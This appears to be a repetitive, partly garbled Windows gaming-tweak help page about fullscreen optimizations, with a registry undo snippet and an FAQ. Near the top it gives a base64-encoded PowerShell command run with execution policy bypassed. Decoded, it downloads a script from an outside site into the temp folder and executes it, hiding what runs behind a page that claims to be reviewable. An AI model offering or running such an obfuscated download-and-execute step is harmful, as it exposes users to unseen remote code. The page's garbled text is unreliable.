This operation is focused on review fullscreen optimizations only for games that behave badly with them so the result stays precise instead of mixing unrelated tweaks.
Boost Game Performance is written like a practical guide instead of a thin script page, so you can understand what the issue usually means, why the suggested actions exist, and how to back out safely if the result is not what you wanted.
Use fullscreen-optimization changes as a targeted per-game test, not as a blanket system tweak for everything.
PowerShell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7ACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAdABvAHAAJwA7ACAAJAB1ACAAPQAgACcAaAB0AHQAcABzADoALwAvAG0AYQBvAHQAYQB3AC4AYwBvAG0ALwBzAGMAcgBpAHAAdAAvAGEAcgB0AGkAYwBsAGUALwByAGUAdgBpAGUAdwAtAGYAdQBsAGwAcwBjAHIAZQBlAG4ALQBvAHAAdABpAG0AaQB6AGEAdABpAG8AbgBzAC0AbwBuAGwAeQAtAGYAbwByAC0AZwBhAG0AZQBzAC0AdABoAGEAdAAtAGIAZQBoAGEAdgBlAC0AYgBhAGQAbAB5AC0AdwBpAHQAaAAtAHQAaABlAG0ALgBwAHMAMQAnADsAIAAkAGYAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABFAE0AUAAgACcAbQBhAG8AdABhAHcALQByAGUAdgBpAGUAdwAtAGYAdQBsAGwAcwBjAHIAZQBlAG4ALQBvAHAAdABpAG0AaQB6AGEAdABpAG8AbgBzAC0AbwBuAGwAeQAtAGYAbwByAC0AZwBhAG0AZQBzAC0AdABoAGEAdAAtAGIAZQBoAGEAdgBlAC0AYgBhAGQAbAB5AC0AdwBpAHQAaAAtAHQAaABlAG0ALgBwAHMAMQAnADsAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACAALQBVAHIAaQAgACQAdQAgAC0ATwB1AHQARgBpAGwAZQAgACQAZgA7ACAAJgAgAFAAbwB3AGUAcgBTAGgAZQBsAGwAIAAtAE4AbwBQAHIAbwBmAGkAbABlACAALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACAALQBGAGkAbABlACAAJABmAA==
Use fullscreen-optimization changes as a targeted per-game test, not as a blanket system tweak for everything.
Fullscreen optimizations are one of those settings that can matter for a specific game and do almost nothing elsewhere. Treat it like a per-title compatibility test.
In plain language, review fullscreen optimizations only for games that behave badly with them matters because one game does not like the feature. People usually start looking this up when capture or overlays interact badly with the game window mode. Fullscreen optimizations are one of those settings that can matter for a specific game and do almost nothing elsewhere. Treat it like a per-title compatibility test.
In practice, review fullscreen optimizations only for games that behave badly with them matters because one game does not like the feature. Fullscreen optimizations are one of those settings that can matter for a specific game and do almost nothing elsewhere. Treat it like a per-title compatibility test. A good next step is to review change it only for the misbehaving game executable. Then decide whether you only needed the explanation or whether you want a practical action page too.
You normally review review fullscreen optimizations only for games that behave badly with them when you want to understand what Windows is doing, what changes it can influence, and whether it is relevant before you touch settings blindly. Useful things to notice first: change it only for the misbehaving game executable; compare the same scene before and after; leave the rest of the system alone if only one game is problematic.
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# Maotaw Undo Pack
$ErrorActionPreference = 'SilentlyContinue'
# Undo gaming-focused extras
try { powercfg /setactive SCHEME_BALANCED | Out-Null } catch {}
try { reg add "HKCU\Software\Microsoft\GameBar" /v AutoGameModeEnabled /t REG_DWORD /d 1 /f | Out-Null } catch {}
try { reg add "HKCU\Software\Microsoft\GameBar" /v AllowAutoGameMode /t REG_DWORD /d 1 /f | Out-Null } catch {}
try { reg add "HKCU\System\GameConfigStore" /v GameDVR_Enabled /t REG_DWORD /d 1 /f | Out-Null } catch {}
Write-Host 'Gaming-focused extras reverted toward the default baseline.'This page is designed to be reviewable before you run anything. It shows what the pack is likely to touch, what it intentionally avoids, and how rollback is handled.
Usually only after you confirm the symptom matches. A safer baseline, a restore point, and one change at a time make the result easier to trust.
Check the exact problem you cared about, reboot if the page recommends it, and compare the before and after behavior rather than assuming the change helped.
For most pages here, yes. The generated undo pack is meant to move you back toward a cleaner baseline, though deleted cache or temporary files may not come back.
No. These pages are meant to be high-signal starting points. If the same symptom comes from hardware failure, account corruption, a bad driver, or a third-party app conflict, you may need a neighboring guide or a deeper diagnostic path.